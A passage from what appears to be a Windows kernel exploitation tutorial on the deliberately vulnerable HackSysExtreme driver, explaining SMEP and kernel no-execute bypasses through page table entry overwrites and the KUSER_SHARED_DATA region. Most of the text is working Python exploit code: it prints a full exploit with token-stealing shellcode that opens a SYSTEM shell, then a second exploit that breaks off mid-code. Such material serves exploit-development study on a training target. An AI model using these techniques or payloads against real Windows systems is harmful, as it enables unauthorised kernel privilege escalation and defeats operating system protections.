    To use our arbitrary read, we are actually going to use our arbitrary write!

    Our write-what-where primitive allows us to write a pointer (the what) to a pointer (the where). The school of thought here, is to write the address of nt!MiGetPteAddress+0x13 (the what) to a c_void_p() data type, which is Python’s representation of a C void pointer.

    What will happen here is the following:

    1. Since the write portion of the write-what-where writes a POINTER (a.k.a the write will take a memory address and dereference it- which results in extracting the contents of a pointer), we will write the value of nt!MiGetPteAddress+0x13 somewhere we control. The write primitive will extract what nt!MiGetPteAddress+0x13 points to, which is the base of the PTEs, and write it somewhere we can fetch the result!
    2. The “where” value in the write-what-were vulnerability will write the “what” value (base of the PTEs) to a pointer (a.k.a if the “what” value (base of the PTEs) gets written to 0xFFFFFFFFFFFFFFFF, that means 0xFFFFFFFFFFFFFFFF will now POINT to the “what” value, which is the base of the PTEs).

    The thought process here is, if we write the base of the PTEs to OUR OWN pointer that we create- we can then dereference our pointer and extract the contents ourselves!

    Here is how this all looks in Python!

    First, we declare a structure (one member for the “what” value, one member for the “where” value)

    # Fist structure, for obtaining nt!MiGetPteAddress+0x13 value
    class WriteWhatWhere_PTE_Base(Structure):
        _fields_ = [
            ("What_PTE_Base", c_void_p),
            ("Where_PTE_Base", c_void_p)
        ]
    

    Secondly, we fetch the memory address of nt!MiGetPteAddress+0x13

    Note- your offset from the kernel base to this function may be different!

    # Retrieving nt!MiGetPteAddress (Windows 10 RS1 offset)
    nt_mi_get_pte_address = kernel_address + 0x51214
    
    # Base of PTEs is located at nt!MiGetPteAddress + 0x13
    pte_base = nt_mi_get_pte_address + 0x13
    

    Thirdly, we declare a c_void_p() to store the value pointed to by nt!MiGetPteAddress+0x13

    # Creating a pointer in which the contents of nt!MiGetPteAddress+0x13 will be stored in to
    # Base of the PTEs are stored here
    base_of_ptes_pointer = c_void_p()
    

    Fourthly, we initialize our structure with our “what” value and our “where” value which writes what the actual address of nt!MiGetPteAddress+0x13 points to (the base of the PTEs) into our declared pointer.

    # Write-what-where structure #1
    www_pte_base = WriteWhatWhere_PTE_Base()
    www_pte_base.What_PTE_Base = pte_base
    www_pte_base.Where_PTE_Base = addressof(base_of_ptes_pointer)
    www_pte_pointer = pointer(www_pte_base)
    

    Notice the where is the address of the pointer addressof(base_of_ptes_pointer). This is because we don’t want to overwrite the c_void_p’s address with anything- we want to store the value inside of the pointer.

    This will store the value inside of the pointer because our write-what-where primitive writes a “what” value to a pointer.

    Next, we make an IOCTL call to the routine that jumps to the arbitrary write in the driver.

    # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
    kernel32.DeviceIoControl(
        handle,                             # hDevice
        0x0022200B,                         # dwIoControlCode
        www_pte_pointer,                    # lpInBuffer
        0x8,                                # nInBufferSize
        None,                               # lpOutBuffer
        0,                                  # nOutBufferSize
        byref(c_ulong()),                   # lpBytesReturned
        None                                # lpOverlapped
    )
    

    A little Python ctypes magic here on dereferencing pointers.

    # CTypes way of dereferencing a C void pointer
    base_of_ptes = struct.unpack('<Q', base_of_ptes_pointer)[0]
    

    The above snippet of code will read in the c_void_p() (which contains the base of the PTEs) and store it in the variable base_of_ptes.

    Utilizing the base of the PTEs, we can now dynamically retrieve the location of our shellcode’s PTE by putting all of the code together!

    PTE_13aaaaa.png

    PTE_LEAK.png

    We have successfully defeated page table randomization!

    Read, Read, Read… Again!

    Now that we have dynamically resolved the PTE address for our shellcode, we need to use our arbitrary read again to dereference the shellcode’s PTE and extract the PTE control bits so we can modify the page table entry to be kernel mode.

    Using the same primitive as above, we can use Python again to dynamically retrieve all of this!

    Firstly, we need to create another structure (again, one member for “what” and one member for “where”).

    # Second structure, for obtaining the control bits for the PTE
    class WriteWhatWhere_PTE_Control_Bits(Structure):
        _fields_ = [
            ("What_PTE_Control_Bits", c_void_p),
            ("Where_PTE_Control_Bits", c_void_p)
        ]
    

    Secondly, we declare another c_void_p.

    shellcode_pte_bits_pointer = c_void_p()
    

    Thirdly, we initialize our structure with the appropriate variables

    # Write-what-where structure #2
    www_pte_bits = WriteWhatWhere_PTE_Control_Bits()
    www_pte_bits.What_PTE_Control_Bits = shellcode_pte
    www_pte_bits.Where_PTE_Control_Bits = addressof(shellcode_pte_bits_pointer)
    www_pte_bits_pointer = pointer(www_pte_bits)
    

    We then make another call to the IOCTL responsible for the vulnerability.

    Before executing our updated exploit, let’s restart the computer to prove everything is working dynamically.

    Our combined code executes- resulting in the extraction of the PTE control bits!

    PTE_15.png

    Awesome! All that is left now that is to modify the U/S bit of the PTE control bits and then execute our shellcode!

    Write, Write, Write!

    Now that we have read in all of the information we need, it is time to modify the PTE of the shellcode memory page. To do this, all we need to do is subtract the extracted PTE control bits by 4.

    # Currently, the PTE control bit for U/S of the shellcode is that of a user mode memory page
    # Flipping the U (user) bit to an S (supervisor/kernel) bit
    shellcode_pte_control_bits_kernelmode = shellcode_pte_control_bits_usermode - 4
    

    Now we have successfully gotten the value we would like to write over our current PTE, it is time to actually make the write.

    To do this, we first setup a structure, just like the read primitive.

    # Third structure, to overwrite the U (user) PTE control bit to an S (supervisor/kernel) bit
    class WriteWhatWhere_PTE_Overwrite(Structure):
        _fields_ = [
            ("What_PTE_Overwrite", c_void_p),
            ("Where_PTE_Overwrite", c_void_p)
        ]
    

    This time, however, we store the PTE bits in a pointer so when the write occurs, it writes the bits instead of trying to extract the memory address of 2000000046b0f867 - which is not a valid address.

    # Need to store the PTE control bits as a pointer
    # Using addressof(pte_overwrite_pointer) in Write-what-where structure #4 since a pointer to the PTE control bits are needed
    pte_overwrite_pointer = c_void_p(shellcode_pte_control_bits_kernelmode)
    

    Then, we initialize the structure again.

    # Write-what-where structure #4
    www_pte_overwrite = WriteWhatWhere_PTE_Overwrite()
    www_pte_overwrite.What_PTE_Overwrite = addressof(pte_overwrite_pointer)
    www_pte_overwrite.Where_PTE_Overwrite = shellcode_pte
    www_pte_overwrite_pointer = pointer(www_pte_overwrite)
    

    After everything is good to go, we make another IOCTL call to trigger the vulnerability, and we successfully turn our user mode page into a kernel mode page dynamically!

    PTE_14.png

    Goodbye, SMEP (v2 ft. PTE Overwrite)!

    All that is left to do now is execute our shellcode via nt!HalDispatchTable+0x8 and nt!KeQueryIntervalProfile(). Since I have already done a post outlining how this works, I will link you to it so you can see how this actually executes our shellcode. This blog post assumes the reader has minimal knowledge of arbitrary memory overwrites to begin with.

    Here is the final exploit, which can also be found on my GitHub.

    # HackSysExtreme Vulnerable Driver Kernel Exploit (x64 Arbitrary Overwrite/SMEP Enabled)
    # Windows 10 RS1 - SMEP Bypass via PTE Overwrite
    # Author: Connor McGarr
    
    import struct
    import sys
    import os
    from ctypes import *
    
    kernel32 = windll.kernel32
    ntdll = windll.ntdll
    psapi = windll.Psapi
    
    # Fist structure, for obtaining nt!MiGetPteAddress+0x13 value
    class WriteWhatWhere_PTE_Base(Structure):
        _fields_ = [
            ("What_PTE_Base", c_void_p),
            ("Where_PTE_Base", c_void_p)
        ]
    
    # Second structure, for obtaining the control bits for the PTE
    class WriteWhatWhere_PTE_Control_Bits(Structure):
        _fields_ = [
            ("What_PTE_Control_Bits", c_void_p),
            ("Where_PTE_Control_Bits", c_void_p)
        ]
    
    # Third structure, to overwrite the U (user) PTE control bit to an S (supervisor/kernel) bit
    class WriteWhatWhere_PTE_Overwrite(Structure):
        _fields_ = [
            ("What_PTE_Overwrite", c_void_p),
            ("Where_PTE_Overwrite", c_void_p)
        ]
    
    # Fourth structure, to overwrite HalDispatchTable + 0x8 with kernel mode shellcode page
    class WriteWhatWhere(Structure):
        _fields_ = [
            ("What", c_void_p),
            ("Where", c_void_p)
        ]
    
    # Token stealing payload
    payload = bytearray(
        "\x65\x48\x8B\x04\x25\x88\x01\x00\x00"              # mov rax,[gs:0x188]  ; Current thread (KTHREAD)
        "\x48\x8B\x80\xB8\x00\x00\x00"                      # mov rax,[rax+0xb8]  ; Current process (EPROCESS)
        "\x48\x89\xC3"                                      # mov rbx,rax         ; Copy current process to rbx
        "\x48\x8B\x9B\xF0\x02\x00\x00"                      # mov rbx,[rbx+0x2f0] ; ActiveProcessLinks
        "\x48\x81\xEB\xF0\x02\x00\x00"                      # sub rbx,0x2f0       ; Go back to current process
        "\x48\x8B\x8B\xE8\x02\x00\x00"                      # mov rcx,[rbx+0x2e8] ; UniqueProcessId (PID)
        "\x48\x83\xF9\x04"                                  # cmp rcx,byte +0x4   ; Compare PID to SYSTEM PID
        "\x75\xE5"                                          # jnz 0x13            ; Loop until SYSTEM PID is found
        "\x48\x8B\x8B\x58\x03\x00\x00"                      # mov rcx,[rbx+0x358] ; SYSTEM token is @ offset _EPROCESS + 0x358
        "\x80\xE1\xF0"                                      # and cl, 0xf0        ; Clear out _EX_FAST_REF RefCnt
        "\x48\x89\x88\x58\x03\x00\x00"                      # mov [rax+0x358],rcx ; Copy SYSTEM token to current process
        "\x48\x31\xC0"                                      # xor rax,rax         ; set NTSTATUS SUCCESS
        "\xC3"                                              # ret                 ; Done!
    )
    
    # Defeating DEP with VirtualAlloc. Creating RWX memory, and copying the shellcode in that region.
    print "[+] Allocating RWX region for shellcode"
    ptr = kernel32.VirtualAlloc(
        c_int(0),                         # lpAddress
        c_int(len(payload)),              # dwSize
        c_int(0x3000),                    # flAllocationType
        c_int(0x40)                       # flProtect
    )
    
    # Creates a ctype variant of the payload (from_buffer)
    c_type_buffer = (c_char * len(payload)).from_buffer(payload)
    
    print "[+] Copying shellcode to newly allocated RWX region"
    kernel32.RtlMoveMemory(
        c_int(ptr),                       # Destination (pointer)
        c_type_buffer,                    # Source (pointer)
        c_int(len(payload))               # Length
    )
    
    # Print update statement for shellcode location
    print "[+] Shellcode is located at {0}".format(hex(ptr))
    
    # Creating a pointer for the shellcode (write-what-where writes a pointer to a pointer)
    # Using addressof(shellcode_pointer) in Write-what-where structure #5
    shellcode_pointer = c_void_p(ptr)
    
    # c_ulonglong because of x64 size (unsigned __int64)
    base = (c_ulonglong * 1024)()
    
    print "[+] Calling EnumDeviceDrivers()..."
    get_drivers = psapi.EnumDeviceDrivers(
        byref(base),                      # lpImageBase (array that receives list of addresses)
        sizeof(base),                     # cb (size of lpImageBase array, in bytes)
        byref(c_long())                   # lpcbNeeded (bytes returned in the array)
    )
    
    # Error handling if function fails
    if not base:
        print "[+] EnumDeviceDrivers() function call failed!"
        sys.exit(-1)
    
    # The first entry in the array with device drivers is ntoskrnl base address
    kernel_address = base[0]
    
    # Print update for ntoskrnl.exe base address
    print "[+] Found kernel leak!"
    print "[+] ntoskrnl.exe base address: {0}".format(hex(kernel_address))
    
    # Phase 1: Grab the base of the PTEs via nt!MiGetPteAddress
    
    # Retrieving nt!MiGetPteAddress (Windows 10 RS1 offset)
    nt_mi_get_pte_address = kernel_address + 0x51214
    
    # Print update for nt!MiGetPteAddress address 
    print "[+] nt!MiGetPteAddress is located at: {0}".format(hex(nt_mi_get_pte_address))
    
    # Base of PTEs is located at nt!MiGetPteAddress + 0x13
    pte_base = nt_mi_get_pte_address + 0x13
    
    # Print update for nt!MiGetPteAddress+0x13 address
    print "[+] nt!MiGetPteAddress+0x13 is located at: {0}".format(hex(pte_base))
    
    # Creating a pointer in which the contents of nt!MiGetPteAddress+0x13 will be stored in to
    # Base of the PTEs are stored here
    base_of_ptes_pointer = c_void_p()
    
    # Write-what-where structure #1
    www_pte_base = WriteWhatWhere_PTE_Base()
    www_pte_base.What_PTE_Base = pte_base
    www_pte_base.Where_PTE_Base = addressof(base_of_ptes_pointer)
    www_pte_pointer = pointer(www_pte_base)
    
    # Getting handle to driver to return to DeviceIoControl() function
    handle = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
        0xC0000000,                         # dwDesiredAccess
        0,                                  # dwShareMode
        None,                               # lpSecurityAttributes
        0x3,                                # dwCreationDisposition
        0,                                  # dwFlagsAndAttributes
        None                                # hTemplateFile
    )
    
    # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
    kernel32.DeviceIoControl(
        handle,                             # hDevice
        0x0022200B,                         # dwIoControlCode
        www_pte_pointer,                    # lpInBuffer
        0x8,                                # nInBufferSize
        None,                               # lpOutBuffer
        0,                                  # nOutBufferSize
        byref(c_ulong()),                   # lpBytesReturned
        None                                # lpOverlapped
    )
    
    # CTypes way of dereferencing a C void pointer
    base_of_ptes = struct.unpack('<Q', base_of_ptes_pointer)[0]
    
    # Print update for PTE base
    print "[+] Leaked base of PTEs!"
    print "[+] Base of PTEs are located at: {0}".format(hex(base_of_ptes))
    
    # Phase 2: Calculate the shellcode's PTE address
    
    # Calculating the PTE for shellcode memory page
    shellcode_pte = ptr >> 9
    shellcode_pte &= 0x7ffffffff8
    shellcode_pte += base_of_ptes
    
    # Print update for Shellcode PTE
    print "[+] PTE for the shellcode memory page is located at {0}".format(hex(shellcode_pte))
    
    # Phase 3: Extract shellcode's PTE control bits
    
    # Declaring C void pointer to store shellcode PTE control bits
    shellcode_pte_bits_pointer = c_void_p()
    
    # Write-what-where structure #2
    www_pte_bits = WriteWhatWhere_PTE_Control_Bits()
    www_pte_bits.What_PTE_Control_Bits = shellcode_pte
    www_pte_bits.Where_PTE_Control_Bits = addressof(shellcode_pte_bits_pointer)
    www_pte_bits_pointer = pointer(www_pte_bits)
    
    # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
    kernel32.DeviceIoControl(
        handle,                             # hDevice
        0x0022200B,                         # dwIoControlCode
        www_pte_bits_pointer,               # lpInBuffer
        0x8,                                # nInBufferSize
        None,                               # lpOutBuffer
        0,                                  # nOutBufferSize
        byref(c_ulong()),                   # lpBytesReturned
        None                                # lpOverlapped
    )
    
    # CTypes way of dereferencing a C void pointer
    shellcode_pte_control_bits_usermode = struct.unpack('<Q', shellcode_pte_bits_pointer)[0]
    
    # Print update for PTE control bits
    print "[+] PTE control bits for shellcode memory page: {:016x}".format(shellcode_pte_control_bits_usermode)
    
    # Phase 4: Overwrite current PTE U/S bit for shellcode page with an S (supervisor/kernel)
    
    # Currently, the PTE control bit for U/S of the shellcode is that of a user mode memory page
    # Flipping the U (user) bit to an S (supervisor/kernel) bit
    shellcode_pte_control_bits_kernelmode = shellcode_pte_control_bits_usermode - 4
    
    # Need to store the PTE control bits as a pointer
    # Using addressof(pte_overwrite_pointer) in Write-what-where structure #4 since a pointer to the PTE control bits are needed
    pte_overwrite_pointer = c_void_p(shellcode_pte_control_bits_kernelmode)
    
    # Write-what-where structure #4
    www_pte_overwrite = WriteWhatWhere_PTE_Overwrite()
    www_pte_overwrite.What_PTE_Overwrite = addressof(pte_overwrite_pointer)
    www_pte_overwrite.Where_PTE_Overwrite = shellcode_pte
    www_pte_overwrite_pointer = pointer(www_pte_overwrite)
    
    # Print update for PTE overwrite
    print "[+] Goodbye SMEP..."
    print "[+] Overwriting shellcodes PTE user control bit with a supervisor control bit..."
    
    # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
    kernel32.DeviceIoControl(
        handle,                             # hDevice
        0x0022200B,                         # dwIoControlCode
        www_pte_overwrite_pointer,          # lpInBuffer
        0x8,                                # nInBufferSize
        None,                               # lpOutBuffer
        0,                                  # nOutBufferSize
        byref(c_ulong()),                   # lpBytesReturned
        None                                # lpOverlapped
    )
    
    # Print update for PTE overwrite round 2
    print "[+] User mode shellcode page is now a kernel mode page!"
    
    # Phase 5: Shellcode
    
    # nt!HalDispatchTable address (Windows 10 RS1 offset)
    haldispatchtable_base_address = kernel_address + 0x2f1330
    
    # nt!HalDispatchTable + 0x8 address
    haldispatchtable = haldispatchtable_base_address + 0x8
    
    # Print update for nt!HalDispatchTable + 0x8
    print "[+] nt!HalDispatchTable + 0x8 is located at: {0}".format(hex(haldispatchtable))
    
    # Write-what-where structure #5
    www = WriteWhatWhere()
    www.What = addressof(shellcode_pointer)
    www.Where = haldispatchtable
    www_pointer = pointer(www)
    
    # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
    print "[+] Interacting with the driver..."
    kernel32.DeviceIoControl(
        handle,                             # hDevice
        0x0022200B,                         # dwIoControlCode
        www_pointer,                        # lpInBuffer
        0x8,                                # nInBufferSize
        None,                               # lpOutBuffer
        0,                                  # nOutBufferSize
        byref(c_ulong()),                   # lpBytesReturned
        None                                # lpOverlapped
    )
    
    # Actually calling NtQueryIntervalProfile function, which will call HalDispatchTable + 0x8, where the shellcode will be waiting.
    ntdll.NtQueryIntervalProfile(
        0x1234,
        byref(c_ulonglong())
    )
    
    # Print update for shell
    print "[+] Enjoy the NT AUTHORITY\SYSTEM shell!"
    os.system("cmd.exe /K cd C:\\")
    

    NT AUTHORITY\SYSTEM!

    SMEP_1.gif

    Rinse and Repeat

    Did you think I forgot about you, kernel no-execute (NX)?

    Let’s say that for some reason, you are against the method of allocating user mode code. There are many reasons for that, one of them being EDR hooking of crucial functions like VirtualAlloc().

    Let’s say you want to take advantage of various defensive tools and their lack of visibility into kernel mode. How can we leverage already existing kernel mode memory in the same manner?

    Okay, This Time We Are Going To The Mountain! KUSER_SHARED_DATA Time!

    Morten in his research suggests that another suitable method may be to utilize the KUSER_SHARED_DATA structure in the kernel directly, similarily to how ROP works in user mode.

    The concept of ROP in user mode is the idea that we have the ability to write shellcode to the stack, we just don’t have the ability to execute it. Using ROP, we can change the permissions of the stack to that of executable, and execute our shellcode from there.

    The concept here is no different. We can write our shellcode to KUSER_SHARED_DATA+0x800, because it is a kernel mode page with writeable permissions.

    Using our write and read primtives, we can then flip the NX bit (similar to ROP in user mode) and make the kernel mode memory executable!

    The questions still remains, why KUSER_SHARED_DATA?

    Static Electricity

    Windows has slowly but surely dried up all of the static addresses used by exploit developers over the years. One of the last structures that many people used for kASLR bypasses, was the randomization of the HAL heap. The HAL heap used to contain a pointer to the kernel, but no longer does.

    Although everything is dynamically based, there is still a structure that remains which is static, KUSER_SHARED_DATA.

    This structure, according to Geoff Chappell, is used to define the layout of data that the kernel shares with user mode.

    The issue is, this structure is static at the address 0xFFFFF78000000000!

    PTE_16.png

    What is even more interesting, is that KUSER_SHARED_DATA+0x800 seems to just be a code cave of non-executable kernel mode memory which is writeable!

    PTE-17.png

    How Do We Leverage This?

    Our arbitrary write primitive only allows us to write one QWORD of data at a time (8 bytes). My thought process here is to:

    1. Break up the 67 byte shellcode into 8 byte pieces and compensate any odd numbering with NULL bytes.
    2. Write each line of shellcode to KUSER_SHARED_DATA+0x800, KUSER_SHARED_DATA+0x808,KUSER_SHARED_DATA+0x810, etc.
    3. Use the same read primitive to bypass page table randomization and obtain PTE control bits of KUSER_SHARED_DATA+0x800.
    4. Make KUSER_SHARED_DATA+0x800 executable by overwriting the PTE.
    5. NT AUTHORITY\SYSTEM

    Before we begin, the steps about obtaining the contents of nt!MiGetPteAddress+0x13 and extracting the PTE control bits will be left out in this portion of the blog, as they have already been explained in the beginning of this post!

    Moving on, let’s start with each line of shellcode.

    For each line written the data type chosen was that of a c_ulonglong()- as it was easy to store into a c_void_p.

    The first line of shellcode had an associated structure as shown below.

    class WriteWhatWhere_Shellcode_1(Structure):
        _fields_ = [
            ("What_Shellcode_1", c_void_p),
            ("Where_Shellcode_1", c_void_p)
        ]
    

    Shellcode is declared as a c_ulonglong().

    # Using just long long integer, because only writing opcodes.
    first_shellcode = c_ulonglong(0x00018825048B4865)
    

    The shellcode is then written to KUSER_SHARED_DATA+0x800 through the previously created structure.

    www_shellcode_one = WriteWhatWhere_Shellcode_1()
    www_shellcode_one.What_Shellcode_1 = addressof(first_shellcode)
    www_shellcode_one.Where_Shellcode_1 = KUSER_SHARED_DATA + 0x800
    www_shellcode_one_pointer = pointer(www_shellcode_one)
    

    This same process was repeated 9 times, until all of the shellcode was written.

    As you can see in the image below, the shellcode was successfully written to KUSER_SHARED_DATA+0x800 due to the writeable PTE control bit of this structure.

    PTE_19.png

    PTE_18.png

    Executable, Please!

    Using the same arbitrary read primitives as earlier, we can extract the PTE control bits of KUSER_SHARED_DATA+0x800’s memory page. This time, however, instead of subtracting 4- we are going to use bitwise AND per Morten’s research.

    # Setting KUSER_SHARED_DATA + 0x800 to executable
    pte_control_bits_execute= pte_control_bits_no_execute & 0x0FFFFFFFFFFFFFFF
    

    We can see that dynamically, we can set KUSER_SHARED_DATA+0x800 to executable memory, giving us a nice big executable kernel memory region!

    PTE_20.png

    All that is left to do now, is overwrite the nt!HalDispatchTable+0x8 with the address of KUSER_SHARED_DATA+0x800 and nt!KeQueryIntervalProfile() will take care of the rest!

    This exploit can also be found on my GitHub, but here it is if you do not feel like heading over there:

    # HackSysExtreme Vulnerable Driver Kernel Exploit (x64 Arbitrary Overwrite/SMEP Enabled)
    # KUSER_SHARED_DATA + 0x800 overwrite
    # Windows 10 RS1
    # Author: Connor McGarr
    
    import struct
    import sys
    import os
    from ctypes import *
    
    kernel32 = windll.kernel32
    ntdll = windll.ntdll
    psapi = windll.Psapi
    
    # Defining KUSER_SHARED_DATA
    KUSER_SHARED_DATA = 0xFFFFF78000000000
    
    # First structure, for obtaining nt!MiGetPteAddress+0x13 value
    class WriteWhatWhere_PTE_Base(Structure):
        _fields_ = [
            ("What_PTE_Base", c_void_p),
            ("Where_PTE_Base", c_void_p)
        ]
    
    # Second structure, first 8 bytes of shellcode to be written to KUSER_SHARED_DATA + 0x800
    class WriteWhatWhere_Shellcode_1(Structure):
        _fields_ = [
            ("What_Shellcode_1", c_void_p),
            ("Where_Shellcode_1", c_void_p)
        ]
    
    # Third structure, next 8 bytes of shellcode to be written to KUSER_SHARED_DATA + 0x800
    class WriteWhatWhere_Shellcode_2(Structure):
        _fields_ = [
            ("What_Shellcode_2", c_void_p),
            ("Where_Shellcode_2", c_void_p)
        ]
    
    # Fourth structure, next 8 bytes of shellcode to be written to KUSER_SHARED_DATA + 0x800
    class WriteWhatWhere_Shellcode_3(Structure):
        _fields_ = [
            ("What_Shellcode_3", c_void_p),
            ("Where_Shellcode_3", c_void_p)
        ]
    
    # Fifth structure, next 8 bytes of shellcode to be written to KUSER_SHARED_DATA + 0x800
    class WriteWhatWhere_Shellcode_4(Structure):
        _fields_ = [
            ("What_Shellcode_4", c_void_p),
            ("Where_Shellcode_4", c_void_p)
        ]
    
    # Sixth structure, next 8 bytes of shellcode to be written to KUSER_SHARED_DATA + 0x800
    class WriteWhatWhere_Shellcode_5(Structure):
        _fields_ = [
            ("What_Shellcode_5", c_void_p),
            ("Where_Shellcode_5", c_void_p)
        ]
    
    # Seventh structure, next 8 bytes of shellcode to be written to KUSER_SHARED_DATA + 0x800
    class WriteWhatWhere_Shellcode_6(Structure):
        _fields_ = [
            ("What_Shellcode_6", c_void_p),
            ("Where_Shellcode_6", c_void_p)
        ]
    
    # Eighth structure, next 8 bytes of shellcode to be written to KUSER_SHARED_DATA + 0x800
    class WriteWhatWhere_Shellcode_7(Structure):
        _fields_ = [
            ("What_Shellcode_7", c_void_p),
            ("Where_Shellcode_7", c_void_p)
        ]
    
    # Ninth structure, next 8 bytes of shellcode to be written to KUSER_SHARED_DATA + 0x800
    class WriteWhatWhere_Shellcode_8(Structure):
        _fields_ = [
            ("What_Shellcode_8", c_void_p),
            ("Where_Shellcode_8", c_void_p)
        ]
    
    # Tenth structure, last 8 bytes of shellcode to be written to KUSER_SHARED_DATA + 0x800
    class WriteWhatWhere_Shellcode_9(Structure):
        _fields_ = [
            ("What_Shellcode_9", c_void_p),
            ("Where_Shellcode_9", c_void_p)
        ]
    
    
    # Eleventh structure, for obtaining the control bits for the PTE
    class WriteWhatWhere_PTE_Control_Bits(Structure):
        _fields_ = [
            ("What_PTE_Control_Bits", c_void_p),
            ("Where_PTE_Control_Bits", c_void_p)
        ]
    
    # Twelfth structure, to overwrite executable bit of KUSER_SHARED_DATA+0x800's PTE
    class WriteWhatWhere_PTE_Overwrite(Structure):
        _fields_ = [
            ("What_PTE_Overwrite", c_void_p),
            ("Where_PTE_Overwrite", c_void_p)
        ]
    
    # Thirteenth structure, to overwrite HalDispatchTable + 0x8 with KUSER_SHARED_DATA + 0x800
    class WriteWhatWhere(Structure):
        _fields_ = [
            ("What", c_void_p),
            ("Where", c_void_p)
        ]
    
    """
    Token stealing payload
    
    \x65\x48\x8B\x04\x25\x88\x01\x00\x00              # mov rax,[gs:0x188]  ; Current thread (KTHREAD)
    \x48\x8B\x80\xB8\x00\x00\x00                      # mov rax,[rax+0xb8]  ; Current process (EPROCESS)
    \x48\x89\xC3                                      # mov rbx,rax         ; Copy current process to rbx
    \x48\x8B\x9B\xF0\x02\x00\x00                      # mov rbx,[rbx+0x2f0] ; ActiveProcessLinks
    \x48\x81\xEB\xF0\x02\x00\x00                      # sub rbx,0x2f0       ; Go back to current process
    \x48\x8B\x8B\xE8\x02\x00\x00                      # mov rcx,[rbx+0x2e8] ; UniqueProcessId (PID)
    \x48\x83\xF9\x04                                  # cmp rcx,byte +0x4   ; Compare PID to SYSTEM PID
    \x75\xE5                                          # jnz 0x13            ; Loop until SYSTEM PID is found
    \x48\x8B\x8B\x58\x03\x00\x00                      # mov rcx,[rbx+0x358] ; SYSTEM token is @ offset _EPROCESS + 0x358
    \x80\xE1\xF0                                      # and cl, 0xf0        ; Clear out _EX_FAST_REF RefCnt
    \x48\x89\x88\x58\x03\x00\x00                      # mov [rax+0x358],rcx ; Copy SYSTEM token to current process
    \x48\x31\xC0                                      # xor rax,rax         ; set NTSTATUS SUCCESS
    \xC3                                              # ret                 ; Done!
    )
    """
    
    # c_ulonglong because of x64 size (unsigned __int64)
    base = (c_ulonglong * 1024)()
    
    print "[+] Calling EnumDeviceDrivers()..."
    get_drivers = psapi.EnumDeviceDrivers(
        byref(base),                      # lpImageBase (array that receives list of addresses)
        sizeof(base),                     # cb (size of lpImageBase array, in bytes)
        byref(c_long())                   # lpcbNeeded (bytes returned in the array)
    )
    
    # Error handling if function fails
    if not base:
        print "[+] EnumDeviceDrivers() function call failed!"
        sys.exit(-1)
    
    # The first entry in the array with device drivers is ntoskrnl base address
    kernel_address = base[0]
    
    # Print update for ntoskrnl.exe base address
    print "[+] Found kernel leak!"
    print "[+] ntoskrnl.exe base address: {0}".format(hex(kernel_address))
    
    # Phase 1: Grab the base of the PTEs via nt!MiGetPteAddress
    
    # Retrieving nt!MiGetPteAddress (Windows 10 RS1 offset)
    nt_mi_get_pte_address = kernel_address + 0x1b5f4
    
    # Print update for nt!MiGetPteAddress address 
    print "[+] nt!MiGetPteAddress is located at: {0}".format(hex(nt_mi_get_pte_address))
    
    # Base of PTEs is located at nt!MiGetPteAddress + 0x13
    pte_base = nt_mi_get_pte_address + 0x13
    
    # Print update for nt!MiGetPteAddress+0x13 address
    print "[+] nt!MiGetPteAddress+0x13 is located at: {0}".format(hex(pte_base))
    
    # Creating a pointer in which the contents of nt!MiGetPteAddress+0x13 will be stored in to
    # Base of the PTEs are stored here
    base_of_ptes_pointer = c_void_p()
    
    # Write-what-where structure #1
    www_pte_base = WriteWhatWhere_PTE_Base()
    www_pte_base.What_PTE_Base = pte_base
    www_pte_base.Where_PTE_Base = addressof(base_of_ptes_pointer)
    www_pte_pointer = pointer(www_pte_base)
    
    # Getting handle to driver to return to DeviceIoControl() function
    handle = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
        0xC0000000,                         # dwDesiredAccess
        0,                                  # dwShareMode
        None,                               # lpSecurityAttributes
        0x3,                                # dwCreationDisposition
        0,                                  # dwFlagsAndAttributes
        None                                # hTemplateFile
    )
    
    # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
    kernel32.DeviceIoControl(
        handle,                             # hDevice
        0x0022200B,                         # dwIoControlCode
        www_pte_pointer,                       # lpInBuffer
        0x8,                                # nInBufferSize
        None,                               # lpOutBuffer
        0,                                  # nOutBufferSize
        byref(c_ulong()),                   # lpBytesReturned
        None                                # lpOverlapped
    )
    
    # CTypes way of extracting value from a C void pointer
    base_of_ptes = struct.unpack('<Q', base_of_ptes_pointer)[0]
    
    # Print update for PTE base
    print "[+] Leaked base of PTEs!"
    print "[+] Base of PTEs are located at: {0}".format(hex(base_of_ptes))
    
    # Phase 2: Calculate KUSER_SHARED_DATA's PTE address
    
    # Calculating the PTE for KUSER_SHARED_DATA + 0x800
    kuser_shared_data_800_pte_address = KUSER_SHARED_DATA + 0x800 >> 9
    kuser_shared_data_800_pte_address &= 0x7ffffffff8
    kuser_shared_data_800_pte_address += base_of_ptes
    
    # Print update for KUSER_SHARED_DATA + 0x800 PTE
    print "[+] PTE for KUSER_SHARED_DATA + 0x800 is located at {0}".format(hex(kuser_shared_data_800_pte_address))
    
    # Phase 3: Write shellcode to KUSER_SHARED_DATA + 0x800
    
    # First 8 bytes
    
    # Using just long long integer, because only writing opcodes.
    first_shellcode = c_ulonglong(0x00018825048B4865)
    
    # Write-what-where structure #2
    www_shellcode_one = WriteWhatWhere_Shellcode_1()
    www_shellcode_one.What_Shellcode_1 = addressof(first_shellcode)
    www_shellcode_one.Where_Shellcode_1 = KUSER_SHARED_DATA + 0x800
    www_shellcode_one_pointer = pointer(www_shellcode_one)
    
    # Print update for shellcode
    print "[+] Writing first 8 bytes of shellcode to KUSER_SHARED_DATA + 0x800..."
    
    # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
    kernel32.DeviceIoControl(
        handle,                             # hDevice
        0x0022200B,                         # dwIoControlCode
        www_shellcode_one_pointer,          # lpInBuffer
        0x8,                                # nInBufferSize
        None,                               # lpOutBuffer
        0,                                  # nOutBufferSize
        byref(c_ulong()),                   # lpBytesReturned
        None                                # lpOverlapped
    )
    
    # Next 8 bytes
    second_shellcode = c_ulonglong(0x000000B8808B4800)
    
    # Write-what-where structure #3
    www_shellcode_two = WriteWhatWhere_Shellcode_2()
    www_shellcode_two.What_Shellcode_2 = addressof(second_shellcode)
